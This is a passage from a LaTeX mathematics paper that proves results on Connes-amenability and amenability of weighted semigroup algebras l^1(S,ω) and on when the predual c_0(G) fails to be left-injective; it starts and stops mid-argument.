This follows from Theorem \[when\_amen\] in the same way that the above follows from Theorem \[Connes\_Amen\].
Notice that condition (2) of Theorem \[when\_loneg\_am\] is strictly stronger than condition (2) of Theorem \[when\_loneg\_cam\].
\[C\_amen\_predual\] Let $S$ be a discrete, weakly cancellative semigroup, let $\omega$ be a weight on $S$, and let ${\mathcal{A}} = l^1(S,\omega)$ be unital with unit $e_{{\mathcal{A}}}$. Then ${\mathcal{A}}$ is Connes-amenable, with respect to the predual $c_0(S)$, if and only if there exists $M\in ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})'' = l^\infty(S\times S)'$ such that:
1. ${{\langle {M} , {(f_{gh}\Omega(g,h))_{(g,h)\in S\times S}} \rangle}} =
{{\langle {e_{{\mathcal{A}}}} , {f} \rangle}}$ for each family $(f_g)_{g\in S} \in c_0(S)$;
2. ${{\langle {M} , {( f(hk,g)\Omega(h,k) - f(h,kg)\Omega(k,g) )_
{(g,h)\in S\times S}} \rangle}} = 0$ for each $k\in S$, and each bounded function $f:S\times S\rightarrow\mathbb C$ which satisfies the conclusions of Proposition \[wap\_c\_zero\].
We now use Theorem \[When\_Con\_Amen\]. By $f$ satisfying the conclusions of Proposition \[wap\_c\_zero\], we identify $f:S\times S\rightarrow\mathbb C$ with $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}')$ by ${{\langle {T(\delta_g)} , {\delta_h} \rangle}} = f(g,h)$, for $g,h\in S$.
We shall now establish when $l^1(S,\omega)$ and $l^1(S,\omega)''$ are Connes-amenable. For a discrete group $G$, a weight $\omega$ on $G$ and $h\in G$, define $J_h\in{\mathcal{B}}(l^\infty(G))$ by $$J_h(f) = \big( f_{hg} \Omega(h,g)\omega(h) \Omega(g^{-1},h^{-1})
\omega(h^{-1}) \big)_{g\in G} \qquad (f=(f_g)_{g\in G}\in l^\infty(G)).$$ Notice then that, for $f\in l^\infty(G)$, we have $$\| J_h(f) \| = \sup_g |f_{hg}| \omega(hg)\omega(g)^{-1}
\omega(g^{-1}h^{-1})\omega(g^{-1})^{-1}
\leq \|f\| \omega(h) \omega(h^{-1}),$$ so that $J_h$ is bounded.
\[group\_omega\_amen\] Let $G$ be a discrete group, and let $\omega$ be a weight on $G$. We say that $G$ is *$\omega$-amenable* if there exists $N\in l^\infty(G)'$ such that:
1. ${{\langle {N} , {(\Omega(g,g^{-1}))_{g\in G}} \rangle}}=1$, where $\Omega$ is defined by $\omega$, and hence $(\Omega(g,g^{-1}))_{g\in G}$ is a bounded family forming an element of $l^\infty(G)$;
2. $J_h'(N)=N$ for each $h\in G$.
[$\square$]{}
Notice that if $\omega$ is identically $1$, then this condition reduces to the usual notion of a group being amenable (we usually require that $N$ is a *mean*, in that $N$ is a positive functional on $l^\infty(G)$, but by forming real and imaginary parts, and then positive and negative parts, we can easily generate a non-zero scalar multiple of a mean from a functional $N$ satisfying the definition above).
Let $G$ be a discrete group, let $\omega$ be a weight on $G$, and let ${\mathcal{A}}=l^1(G,\omega)$. Then the following are equivalent:
1. ${\mathcal{A}}$ is Connes-amenable, with respect to the predual $c_0(G)$;
2. ${\mathcal{A}}$ is amenable;
3. $G$ is $\omega$-amenable.
Furthermore, if ${\mathcal{A}}$ is Arens regular, then these conditions are equivalent to ${\mathcal{A}}''$ being Connes-amenable.
It is clear that (2) implies (1). When ${\mathcal{A}}$ is Arens regular, (2) implies that ${\mathcal{A}}''$ is Connes-amenable, and ${\mathcal{A}}''$ Connes-amenable implies (1). We shall thus show that (1) implies (3), and that (3) implies (2).
If (1) holds, then let $M\in l^\infty(G\times G)'$ be given as in Theorem \[C\_amen\_predual\]. Define $\phi:l^\infty(G)
\rightarrow l^\infty(G\times G)$ by $${{\langle {\phi(f)} , {\delta_{(g,h)}} \rangle}} = \begin{cases}
f_g & : g = h^{-1}, \\ 0 &: g\not=h^{-1}, \end{cases}
\quad\qquad ( f=(f_g)_{g\in G} \in l^\infty(G) ).$$ Let $N = \phi'(M) \in l^\infty(G)'$. Then we have $$\phi( (\Omega(g,g^{-1}))_{g\in G} ) =
( \delta_{h,g^{-1}} \Omega(g,h) )_{(g,h)\in G\times G}
= ( \delta_{gh,e_G} \Omega(g,h) )_{(g,h)\in G\times G},$$ where $\delta$ is the Kronecker delta, so that $${{\langle {N} , {(\Omega(g,g^{-1}))_{g\in G}} \rangle}} = \delta_{e_G,e_G} = 1,$$ by condition (1) on $M$ from Theorem \[C\_amen\_predual\]; clearly $(\delta_{e_G,g})_{g\in G} \in c_0(G)$.
Fix $k\in G$ and $f\in l^\infty(G)$. Define $F:G\times G\rightarrow
\mathbb C$ by $$F(h,g) = \delta_{gh,k} f_g \omega(k) \omega(hk^{-1})
\omega(h)^{-1}. \qquad (g,h\in G).$$ Then we have $|F(h,g)| \leq |f_g| |\omega(k)| |\omega(hk^{-1})|
|\omega(h)|^{-1} \leq \|f\|_\infty |\omega(k)| |\omega(k^{-1})|$, so that $F$ is bounded. Let $T:{\mathcal{A}}\rightarrow{\mathcal{A}}'$ be the operator associated with $F$. For $g,h\in G$, we have that $F(h,g)\not=0$ only when $gh=k$, so that $T({\mathcal{A}})\subseteq c_0(S)$ and $T'(\kappa_{{\mathcal{A}}}({\mathcal{A}})) \subseteq c_0(S)$. Furthermore, if $(k_n)$ is a sequence of distinct elements in $G$, and $(g_m,h_m)$ is a sequence of distinct elements in $G\times G$, then $\lim_n \lim_m F(h_m,k_ng_m) = 0$. This follows, as for $n_0$ fixed, $k_{n_0}g_mh_m = k$ only if $g_mh_m = k_{n_0}^{-1} k$, so if this holds for all sufficiently large $m$, we have that $k_ng_mh_m\not=k$ for sufficiently large $m$ and $n\not=n_0$. Similarly, $\lim_n \lim_m F(h_mk_n,g_m) = 0$, so that $F$ satisfies the conditions of Proposition \[wap\_c\_zero\].
Notice that $${{\langle { \phi(J_k(f)) } , { \delta_{(g,h)} } \rangle}} =
\delta_{gh,e_G} {{\langle { J_k(f) } , { \delta_g } \rangle}}
= \delta_{gh,e_G} f_{kg} \omega(kg)\omega(g)^{-1}
\omega(g^{-1}k^{-1})\omega(g^{-1})^{-1}.$$ Thus we have $$\begin{aligned}
F(hk,g)&\Omega(h,k) - F(h,kg)\Omega(k,g) \\
&= \delta_{ghk,k} f_g \omega(k) \omega(hkk^{-1})
\omega(hk)^{-1} \Omega(h,k) -
\delta_{kgh,k} f_{kg} \omega(k) \omega(hk^{-1})
\omega(h)^{-1} \Omega(k,g) \\
&= \delta_{gh,e_G} f_g - \delta_{gh,e_G} f_{kg}
\omega(hk^{-1}) \omega(h)^{-1} \omega(kg) \omega(g)^{-1} \\
&= {{\langle {\phi(f) - \phi(J_k(f)) } , { \delta_{(g,h)} } \rangle}}.\end{aligned}$$ So, by condition (2) from Theorem \[C\_amen\_predual\], we have that $${{\langle {N} , { f - J_k(f) } \rangle}} = 0,$$ which, as $f$ was arbitrary, shows that $N = J_k'(N)$, as required.
Now suppose that $G$ is $\omega$-amenable. We shall show that ${\mathcal{A}}$ is amenable, which completes the proof. Define $\psi : l^\infty(G\times G)\rightarrow l^\infty(G)$ by $${{\langle { \psi(F) } , { \delta_g } \rangle}} = F(g,g^{-1})
\qquad ( F\in l^\infty(G\times G), g\in G).$$ Let $N\in l^\infty(G)'$ be as in Definition \[group\_omega\_amen\], and let $M =\psi'(N)$. Then let $(f_g)_{g\in G}$ be a bounded family in $\mathbb C$, so that $${{\langle {M} , {(f_{gh}\Omega(g,h))_{(g,h)\in G\times G}} \rangle}} =
{{\langle {N} , {(f_{e_G}\Omega(g,g^{-1}))_{g\in G}} \rangle}} = f_{e_G},$$ verifying condition (1) of Theorem \[when\_loneg\_am\] for $M$.
Let $f:G\times G\rightarrow\mathbb C$ be a bounded function, and let $k\in G$. Then $$\begin{aligned}
\psi\big( (f(hk,g) & \Omega(h,k) - f(h,kg)\Omega(k,g))_{(g,h)\in G\times G} \big) \\
&= \big( f(g^{-1}k,g)\Omega(g^{-1},k) - f(g^{-1},kg)\Omega(k,g) \big)_{g\in G}.\end{aligned}$$ Define $F:G\times G\rightarrow\mathbb C$ by $$F(g,h) = f(hk,g) \Omega(h,k) \qquad (g,h\in G),$$ so that $F$ is bounded. For $g\in G$, we have that $$\begin{aligned}
&{{\langle { \psi(F)-J_k(\psi(F)) } , { \delta_g } \rangle}} \\ &=
f(g^{-1}k,g) \Omega(g^{-1},k)
- f((kg)^{-1}k,kg) \Omega((kg)^{-1},k) \omega(kg) \omega(g)^{-1}
\omega(g^{-1}k^{-1}) \omega(g^{-1})^{-1} \\
&= f(g^{-1}k,g) \Omega(g^{-1},k)
- f(g^{-1},kg) \omega(k)^{-1} \omega(kg) \omega(g)^{-1} \\
&= f(g^{-1}k,g) \Omega(g^{-1},k)
- f(g^{-1},kg) \Omega(k,g).\end{aligned}$$ Consequently, using condition (2) of Definition \[group\_omega\_amen\], we have established condition (2) of Theorem \[when\_loneg\_am\] for $M$. This shows that $l^1(G,\omega)$ is amenable.
If $S$ is a semigroup which is not cancellative, then it is possible for $l^1(S)$ to be unital while $S$ is not. For example, let $S$ be $(\mathbb N,\max)$ (where $\mathbb N=\{1,2,3,\ldots\}$ say) with adjoined idempotents $u$ and $v$ such that $uv=vu=1$ and $un = nu = vn = nv = n$ for $n\in\mathbb N$. Then $S$ is a weakly cancellative, commutative semigroup without a unit, but $e = \delta_u+\delta_v-\delta_1$ is easily seen to be a unit for $l^1(S)$. Indeed, $S$ is seen to be a finite semilattice of groups, so by the result of [@Gron2], $l^1(S)$ is amenable.
In [@Gron1 Theorem 2.3] it is shown that if $l^1(S,\omega)$ is amenable for a cancellative, unital semigroup $S$ and some weight $\omega$, then $S$ is actually a group. We shall now show that this holds for Connes-amenability as well.
For a cancellative, unital semigroup $S$, with unit $u_S$, if $g\in S$ is invertible, then $g$ has a unique inverse, denoted by $g^{-1}$. Furthermore, if $g$ has a left inverse, say $hg=u_S$, then $ghg =
g = u_Sg$ so that $gh=u_S$; similarly, if $gh=u_S$ then $hg=u_S$.
Let $S$ be a weakly cancellative semigroup, let $\omega$ be a weight on $S$, and let ${\mathcal{A}}=l^1(S,\omega)$. Suppose that ${\mathcal{A}}$ is Connes-amenable with respect to the predual $c_0(S)$. If $S$ is cancellative or unital, then $S$ is a group.
As ${\mathcal{A}}$ is Connes-amenable, let $M\in ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})''$ be as in Theorem \[C\_amen\_predual\]. Then ${\mathcal{A}}$ is unital, with unit $e_{{\mathcal{A}}} = (a_s)_{s\in S} \in l^1(S,\omega)$ say. For now, we shall not assume that $e_{{\mathcal{A}}}$ has norm one, as the standard renorming to ensure this will not (a priori) necessarily yield an $l^1(S,\hat\omega)$ algebra for some weight $\hat\omega$. Suppose that $S$ is cancellative. Fix $h\in S$, so that $$\sum_{s\in S} a_s \delta_{sh} \Omega(s,h)
= e_{{\mathcal{A}}}\star \delta_h =
\delta_h = \delta_h \star e_{{\mathcal{A}}} =
\sum_{s\in S} a_s \delta_{hs} \Omega(h,s).$$ In particular, for each $h\in S$ there is a unique $u_h\in S$ such that $h u_h = h$ (so that $h u_h h = h^2$ implying that $u_h h=h$), and we have that $a_{u_h} \omega(u_h)^{-1} =1$. We also see that $a_s=0$ for each $s\in S$ such that $sh\not=h$, that is, $s\not=u_h$. However, $h$ was arbitrary, so that $S$ is unital with unit $u_S$, and $e_{{\mathcal{A}}} =
\omega(u_S) \delta_{u_S}$, where we can now assume that $\omega(u_S)=1$ by a renorming.
Now suppose that $S$ is a unital, weakly cancellative semigroup, so that the unit of ${\mathcal{A}}$ is $\delta_{u_S}$. Suppose that $s\in S$ has no right inverse. Define $F:S\times S\rightarrow\mathbb C$ by $$F(h,sg)=0, \quad F(hs,g) = \begin{cases}
\Omega(g,hs) &: gh=u_S, \\ 0 &: \text{otherwise.} \end{cases}
\qquad (g,h\in S).$$ To show that this is well-defined, suppose that for $g,h,j,k\in S$, we have that $h=js$, $sg=k$ and $kj=u_S$. Then $s(gj) = kj = u_S$, so that $s$ has a right inverse, a contradiction. Then $F$ is bounded, so let $T:{\mathcal{A}}\rightarrow
{\mathcal{A}}'$ be the operator associated with $F$. Then $F(a,b)\not=0$ only when $ba=s$, so as $S$ is weakly cancellative, we see that $T({\mathcal{A}})\subseteq c_0(S)$ and $T'(\kappa_{{\mathcal{A}}}({\mathcal{A}}))
\subseteq c_0(S)$.
Suppose that for sequences of distinct elements $(k_n)\subseteq S$ and $(g_m,h_m)\subseteq S\times S$, we have that $$\lim_n \lim_m {{\langle {T(\delta_{h_m})} , {\delta_{k_ng_m}} \rangle}}
= \lim_n \lim_m F(h_m,k_ng_m) \not=0.$$ Then, for some $N>0$ and $\epsilon>0$, for each $n\geq N$, $\lim_m F(h_m,k_ng_m)\geq \epsilon$. Hence, for $n\geq N$, there exists $M_n>0$ such that if $m\geq M_n$, then $k_ng_mh_m = s$ (as otherwise $F(h_m,k_ng_m)=0$). This, however, contradicts $S$ being weakly cancellative. Similarly, if $\lim_n \lim_m {{\langle {T(\delta_{h_mk_n})} , {\delta_{g_m}} \rangle}}\not=0$, then we need $g_mh_mk_n=s$ for all $n,m$ sufficiently large, which is a contradiction. Thus $T$ satisfies all the conditions of Proposition \[wap\_c\_zero\].
Then, for $g,h\in S$, if $gh=u_S$, we have that $\Omega(h,s)\Omega(g,hs)
= \omega(h)^{-1} \omega(g)^{-1} = \Omega(g,h)$, so that $$F(hs,g)\Omega(h,s) - F(h,sg)\Omega(s,g)
= \begin{cases} \Omega(g,h) &: gh=u_S, \\ 0 &: \text{otherwise}.
\end{cases}$$ Hence condition (2) of Theorem \[C\_amen\_predual\] implies that ${{\langle {M} , {(\delta_{gh,u_S} \Omega(g,h))_{(g,h)\in S\times S}} \rangle}}=0$, which contradicts condition (1) of this theorem. Hence every element of $S$ has a right inverse.
By symmetry (or by repeating the argument on the left) we see that every element of $S$ has a left inverse, and that hence $S$ must be a group.
We hence have the following theorem, which shows that weighted semigroup algebras behave like C$^*$-algebras with regards to Connes-amenability.
\[main\_thm\] Let $S$ be a discrete cancellative semigroup, and let $\omega$ be a weight on $S$. The following are equivalent:
1. $l^1(S,\omega)$ is amenable;
2. $l^1(S,\omega)$ is Connes-amenable, with respect to the predual $c_0(S)$;
If $l^1(S,\omega)$ is Arens regular, then these conditions are equivalent to $l^1(S,\omega)''$ being Connes-amenable. These equivalent conditions imply that $S$ is a group. [$\square$]{}
This result extends the result of [@Runde3], where it is shown that $M(G)$, the *measure algebra* of a locally compact group $G$, is Connes-amenable if and only if $G$ is amenable. This follows as, for discrete groups $G$, $M(G) = l^1(G)$.
Let $\omega$ be the weight on $\mathbb Z$ defined by $\omega(n) = 1+|n|$ for $n\in\mathbb Z$. By Theorem \[B\_AR\], ${\mathcal{A}} = l^1(\mathbb Z,\omega)$ is Arens regular. For $m,n\in\mathbb Z$ and $f = (a_k)_{k\in\mathbb Z}\in
l^\infty(\mathbb Z)$, we have that $${{\langle { \delta_m \cdot f } , { \delta_n } \rangle}} =
{{\langle {f} , {\delta_{n+m}\Omega(n,m)} \rangle}}
= f_{n+m} \frac{1+|n+m|}{(1+|n|)(1+|m|)}.$$ Suppose that $M {\Box}\kappa_{{\mathcal{A}}}(\delta_m) = \kappa_{{\mathcal{A}}}(a)$ for some $m\in\mathbb Z$, $M \in l^\infty(\mathbb Z)'$ and $a\in{\mathcal{A}}$. Then ${{\langle {M} , {\delta_m\cdot f} \rangle}} = {{\langle {f} , {a} \rangle}}$ for each $f\in l^\infty(\mathbb Z)$, so by letting $f = \kappa_{c_0(\mathbb Z)}(e_k)
\in c_0(\mathbb Z)$, we see that $a = \sum_{k\in\mathbb Z} a_k \delta_k$, where $a_k = {{\langle {M} , {\delta_m\cdot\kappa_{c_0(\mathbb Z)}(e_k)} \rangle}}$. However, $\delta_m\cdot\kappa_{c_0(\mathbb Z)}(e_k) \in
\kappa_{c_0(\mathbb Z)}(c_0(\mathbb Z))$ for each $k\in\mathbb Z$, so if $M \in c_0(\mathbb Z)^\circ$, then $a=0$.
Consequently, if $M {\Box}\kappa_{{\mathcal{A}}}(\delta_m) \in \kappa_{{\mathcal{A}}}({\mathcal{A}})$ for each $m\in\mathbb Z$ and $M \in l^\infty(\mathbb Z)'$, then $\delta_m \cdot f \in \kappa_{c_0(\mathbb Z)}(c_0(\mathbb Z))$ for each $m\in\mathbb Z$ and $f \in l^\infty(\mathbb Z)$. However, if $\mathbf{1} \in l^\infty(\mathbb Z)$ is the constant $1$ sequence, then $$\lim_n {{\langle {\delta_m\cdot\mathbf{1}} , {\delta_n} \rangle}}
= \lim_n \frac{1+|n+m|}{(1+|n|)(1+|m|)}
= \frac{1}{1+|m|},$$ so that $\delta_m\cdot\mathbf{1} \not\in
\kappa_{c_0(\mathbb Z)}(c_0(\mathbb Z))$.
We hence conclude that ${\mathcal{A}}$ is not an ideal in ${\mathcal{A}}''$, and so we cannot apply Theorem \[ca\_facts\] in this case. [$\square$]{}
Unfortunately, it is not possible for $l^1(S,\omega)$ to be both amenable and Arens regular.
\[Gron\_Thm\] Let $G$ be discrete group, and let $\omega$ be a weight on $G$. Then $l^1(G,\omega)$ is amenable if and only if $G$ is an amenable group, and $\sup\{ \omega(g) \omega(g^{-1})
: g\in G \} < \infty$.
This is [@Gron1 Theorem 3.2].
Let $S$ be a discrete, unital semigroup, and let $\omega$ be a weight on $S$ such that ${\mathcal{A}} = l^1(S,\omega)$ is Arens regular. Let $K>0$ and $B\subseteq S$ be such that for each $g\in B$, $g$ has a right inverse $g^{-1}$ (which need not be unique), and $\omega(g)\omega(g^{-1})\leq K$. Then $B$ is finite.
For $g\in B$ and $h\in S$, we have $$\omega(g)\omega(h) = \omega(g) \omega(hgg^{-1}) \leq
\omega(g) \omega(hg) \omega(g^{-1}) \leq K \omega(hg),$$ so that $\Omega(h,g) \geq K^{-1}$. Suppose now that $B$ is infinite. Then we can easily construct sequences which violate condition (2) of Theorem \[B\_AR\], showing that ${\mathcal{A}}$ is not Arens regular. This contradiction shows that $B$ must be finite.
Injectivity of the predual module {#injectivity-of-the-predual-module}
---------------------------------
Let $S$ be a unital, weakly cancellative semigroup, let $\omega$ be a weight on $S$, and let ${\mathcal{A}}=l^1(S,\omega)$, ${\mathcal{A}}_* = c_0(S)$. Then ${\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*) = {\mathcal{B}}(l^1,c_0) = l^\infty(c_0) \subseteq
l^\infty(S\times S)$, where we identify $T:{\mathcal{A}}\rightarrow{\mathcal{A}}_*$ with the bounded family $({{\langle {\delta_s} , {T(\delta_t)} \rangle}})_{(s,t)\in S\times S}$. Let $\phi : {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*) \rightarrow {\mathcal{A}}_*$, so that $\phi$ is represented by a bounded family $(M_s)_{s\in S} \subseteq
{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)'$ using the relation $${{\langle {\delta_s} , {\phi(T)} \rangle}} = {{\langle {M_s} , {T} \rangle}}
\qquad (s\in S, T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)).$$ Suppose further that $\phi$ is a left ${\mathcal{A}}$-module homomorphism. Then $${{\langle {\delta_s} , {\phi(T)} \rangle}} = {{\langle {\delta_{u_s}} , {\phi(\delta_s\cdot T)} \rangle}}
= {{\langle {M_{u_S}} , {\delta_s\cdot T} \rangle}} = {{\langle {M_s} , {T} \rangle}}
\qquad (s\in S, T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)), \label{eq:three}$$ so that $M_s = M_{u_S} \cdot \delta_s$ for each $s\in S$. We see also that $\phi$ maps into $c_0(S)$ (and not just $l^\infty(S)$) if and only if $$\lim_{s\rightarrow\infty} {{\langle {M_{u_S}} , {\delta_s\cdot T} \rangle}}
= 0 \qquad (T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)).$$
Conversely, if condition (\[eq:three\]) holds, then for $s,t\in S$ and $T\in{\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)$, we have that $$\begin{aligned}
{{\langle {\delta_s} , {\phi(\delta_t\cdot T)} \rangle}} &= {{\langle {M_s} , {\delta_t\cdot T} \rangle}}
= {{\langle {M_{u_S}} , {\delta_s\cdot\delta_t\cdot T} \rangle}}
= \Omega(s,t) {{\langle {M_{st}} , {T} \rangle}} \\
&= \Omega(s,t){{\langle {\delta_{st}} , {\phi(T)} \rangle}}
= {{\langle {\delta_s} , {\delta_t\cdot \phi(T)} \rangle}}.\end{aligned}$$ Hence $\phi$ is a left ${\mathcal{A}}$-module homomorphism.
Notice that $c_0(S\times S) \subseteq {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)$, so that $c_0(S\times S)^\circ \subseteq {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)'$.
Let $G$ be a group and $\omega$ be a weight on $G$ such that for each $\epsilon>0$, the set $\{ g\in G : \omega(g) \omega(g^{-1})
< \epsilon^{-1} \}$ is finite. Then we say that the weight $\omega$ is *strongly non-amenable*.
Let $G$ be a group, and let $\omega$ be a weight on $G$ such that $\omega$ is not strongly non-amenable, and let $\phi:{\mathcal{B}}({\mathcal{A}},c_0(G))\rightarrow c_0(G)$ be a left ${\mathcal{A}}$-module homomorphism. If $\phi$ is represented by $(M_g)_{g\in G}$ as above, then $M_{u_G} \in c_0(S\times S)^\circ$.
We adapt the methods of [@DP] to the weighted, discrete case. As $\omega$ is not strongly non-amenable, there exists some $K>0$ such that the set $X_K = \{ g\in G : \omega(g)\omega(g^{-1})\leq K \}$ is infinite. Let $M=M_{u_G}$, and suppose that $M\not\in c_0(G\times G)^\circ$, so that for some $g,h\in G$, we have that $\delta:={{\langle {M} , {e_{(g,h)}} \rangle}}\not=0$. We shall henceforth treat $e_{(g,h)}$ as a member of ${\mathcal{B}}({\mathcal{A}},c_0(G))$, noting that for $k\in G$, $${{\langle {\delta_s} , {(\delta_k\cdot e_{(g,h)})(\delta_t)} \rangle}}
= \begin{cases} \Omega(t,k) &: s=g, t=hk^{-1}, \\
0 &: \text{otherwise.} \end{cases}$$ We claim that we can find a sequence $(g_n)_{n\in\mathbb N}$ of distinct elements in $G$ such that $$\begin{gathered}
|{{\langle {M\cdot\delta_{g_m^{-1}g_n}} , {e_{(g,h)}} \rangle}}| \leq
K^{-1} 2^{-2-|m-n|} \qquad (n\not=m), \\
\omega(g_n) \omega(g_n^{-1}) \leq K \qquad (n\in\mathbb N).\end{gathered}$$ We can do this as $\phi$ must map into $c_0(G)$, so that for any $T:{\mathcal{A}}\rightarrow c_0(G)$, we have $\lim_{g\rightarrow\infty}
{{\langle {M\cdot\delta_g} , {T} \rangle}}=0$. Explicitly, let $g_1\in X_K$ be arbitrary, and suppose that we have found $g_1,\ldots,g_k$. Then notice that the sets $$\begin{gathered}
\{ s\in G : |{{\langle {M\cdot\delta_{s^{-1}g_n}} , {e_{(g,h)}} \rangle}}| > K^{-1}
2^{-2-|k+1-n|} : 1\leq n\leq k \}, \\
\{ s\in G : |{{\langle {M\cdot\delta_{g_m^{-1}s}} , {e_{(g,h)}} \rangle}}| > K^{-1}
2^{-2-|k+1-m|} : 1\leq m\leq k \}\end{gathered}$$ are finite, so as $X_K$ is infinite, we can certainly find some $x_{k+1}$.
Then, for $x=(x_n)\in l^\infty(\mathbb N)$, define $T_x:
{\mathcal{A}}\rightarrow c_0(G)$ by setting ${{\langle {\delta_g} , {T_x(\delta_{hg_n^{-1}})} \rangle}} = x_n \Omega(hg_n^{-1},g_n)$ for $n\geq 1$, and ${{\langle {\delta_s} , {T_x(\delta_t)} \rangle}}=0$ otherwise. Then clearly $T_x$ does map into $c_0(G)$, and $\|T_x\| \leq
\|x\|$. Notice that for $s,t\in G$, we have $$\begin{aligned}
{{\langle {\delta_s} , {T_x(\delta_t)} \rangle}}
&= \begin{cases} x_n \Omega(t,g_n) &:
s=g, t=hg_n^{-1}, \\ 0 &: \text{otherwise,} \end{cases} \\
&= \sum_n x_n {{\langle {\delta_s} , {(\delta_{g_n}\cdot e_{(g,h)})(\delta_t)} \rangle}}.\end{aligned}$$ Define $Q:l^\infty(\mathbb N)\rightarrow c_0(\mathbb N)$ by $${{\langle {\delta_n} , {Q(x)} \rangle}} = {{\langle {M} , {\delta_{g_n^{-1}}\cdot T_x} \rangle}}
\qquad (n\in\mathbb N),$$ so that $Q$ is bounded and linear.
Let $n_0\geq 1$ and let $x = e_{n_0} \in c_0(\mathbb N)
\subseteq l^\infty(\mathbb N)$. Then, $T_x = \delta_{g_{n_0}}
\cdot e_{(g,h)}$, so that $$\begin{aligned}
{{\langle {\delta_n} , {Q(x)} \rangle}} &= {{\langle {M} , {\delta_{g_n^{-1}}\cdot T_x} \rangle}}
= {{\langle {M} , {\delta_{g_n^{-1}}\cdot(\delta_{g_{n_0}}\cdot e_{(g,h)})} \rangle}} \\
&= \begin{cases} \delta\, \Omega(g_{n_0}^{-1},g_{n_0}) &: n=n_0, \\
\Omega(g_n^{-1},g_{n_0})
{{\langle {M\cdot e_{g_n^{-1}g_{n_0}}} , {e_{(g,h)}} \rangle}} &: n\not=n_0. \end{cases}\end{aligned}$$ Define $Q_1 \in{\mathcal{B}}(c_0(\mathbb N))$ by $$Q_1(x) = \big( \Omega(g_n^{-1},g_n) x_n \big)_{n\in\mathbb N}
\qquad ( x=(x_n) \in c_0(\mathbb N) ).$$ Then, as each $g_n\in X_K$, $Q_1$ is an invertible operator. Let $Q_2$ be the restriction of $Q$ to $c_0(\mathbb N)$, so that $Q_2\in{\mathcal{B}}(c_0(\mathbb N))$ and $Q_2 = \delta Q_1 +
\delta Q_3Q_1$ for some $Q_3\in{\mathcal{B}}(c_0(\mathbb N))$. Thus $Q_3 = \delta^{-1}Q_2Q_1^{-1} - I_{c_0(\mathbb N)}$, so that for $x\in c_0(\mathbb N)$, we have that $$\begin{aligned}
\|Q_3(x)\| &= \sup_n |{{\langle {\delta_n} , {\delta^{-1}Q_2Q_1^{-1}(x) - x} \rangle}}|
= \sup_n \Big| \sum_m x_m {{\langle {\delta_n} , {\delta^{-1}Q_2Q_1^{-1}(e_m) - e_m} \rangle}} \Big| \\
&= \sup_n \Big| \sum_{m\not=n} x_m \Omega(g_m^{-1},g_m)^{-1}
\Omega(g_n^{-1},g_m) {{\langle {M\cdot\delta_{g_n^{-1}g_m}} , {e_{(g,h)}} \rangle}} \Big| \\
&\leq K^{-1} \sup_n \sum_{m\not=n} |x_m| 2^{-2-|m-n|} \omega(g_m)\omega(g_m^{-1})
\leq \|x\| / 2.\end{aligned}$$ Consequently $Q_3-I_{c_0(\mathbb N)}$ is invertible, so that $Q_2Q_1^{-1}$ is invertible, showing that $Q_2$ is invertible. However, this implies that $Q_2^{-1}Q:l^\infty(\mathbb N)\rightarrow
c_0(\mathbb N)$ is a projection, which is a well-known contradiction, completing the proof.
\[amen\_not\_inj\] Let $G$ be a countable group, let $\omega$ be a weight which is not strongly non-amenable, and let ${\mathcal{A}}=l^1(G,\omega)$. Then $c_0(G)$ is not left-injective.
Suppose, towards a contradiction, that $c_0(G)$ is left-injective, so that there exists $M=M_{u_G}
\in {\mathcal{B}}({\mathcal{A}},{\mathcal{A}}_*)'$ as above, with the additional condition that $$\begin{aligned}
\delta_{g,h} &= {{\langle {\delta_g} , {\phi\Delta'_{{\mathcal{A}}}(e_h)} \rangle}}
= {{\langle {M} , {\delta_g \cdot \Delta'_{{\mathcal{A}}}(e_h)} \rangle}}
= \Omega(hg^{-1},g) {{\langle {M} , {\Delta'_{{\mathcal{A}}}(e_{hg^{-1}})} \rangle}} \\
&= \Omega(hg^{-1},g) {{\langle {M} , {\big( \delta_{st,hg^{-1}}
\Omega(s,t) \big)_{(s,t)\in G\times G}} \rangle}}
\qquad (g,h\in G). \end{aligned}$$ This clearly reduces to $$\delta_{g,u_G} = {{\langle {M} , {\big( \delta_{st,g}
\Omega(s,t) \big)_{(s,t)\in G\times G}} \rangle}} \qquad (g\in G).$$
As $G$ is countable, we can enumerate $G$ as $G = \{ g_n : n\in\mathbb N\}$. Then, for $g_n\in G$, let $X_{g_n} = \{ g_1, \ldots, g_n \}
\subseteq G$. Define $Q:l^\infty(G)\rightarrow{\mathcal{B}}({\mathcal{A}},c_0(G))$ by $${{\langle {\delta_s} , {Q(x)(\delta_t)} \rangle}} =
\Omega(s,t) \sum_{g\in X_t} x_g \delta_{st,g}
\qquad (s,t\in G, x\in l^\infty(G)).$$ Then, for each $t\in G$, as $X_t$ is finite, we see that $Q(x)(\delta_t)\in c_0(G)$, so $Q$ is well-defined. Clearly $Q$ is linear, and we see that for $x\in l^\infty(G)$, $$\|Q(x)\| = \sup_{s,t\in G} \Omega(s,t) \Big|\sum_{g\in X_t} x_g \delta_{st,g}\Big|
\leq \sup_{s,t\in G} \sum_{\{g\in X_t : g=st\}} |x_g|
= \|x\|,$$ so that $Q$ is norm-decreasing. Then, for $h\in G$, we have that $${{\langle {\delta_s} , {Q(e_h)(\delta_t)} \rangle}}
= \Omega(s,t) \sum_{g\in X_t} \delta_{g,h} \delta_{st,g}
= \begin{cases} {{\langle {\delta_s} , {\Delta_{{\mathcal{A}}}'(e_h)(\delta_t)} \rangle}}
&: h\in X_t, \\ 0 &: h\not\in X_t. \end{cases}$$ Let $h=g_{n_0}$, so that $\{ t\in G : h\not\in X_t \} =
\{ g_n\in G : h\not\in X_{g_n} \} = \{ g_1, g_2, \ldots, g_{n_0-1}\}$. We hence see that $Q(e_{g_0}) - \Delta'_{{\mathcal{A}}}(e_{g_0}) \in
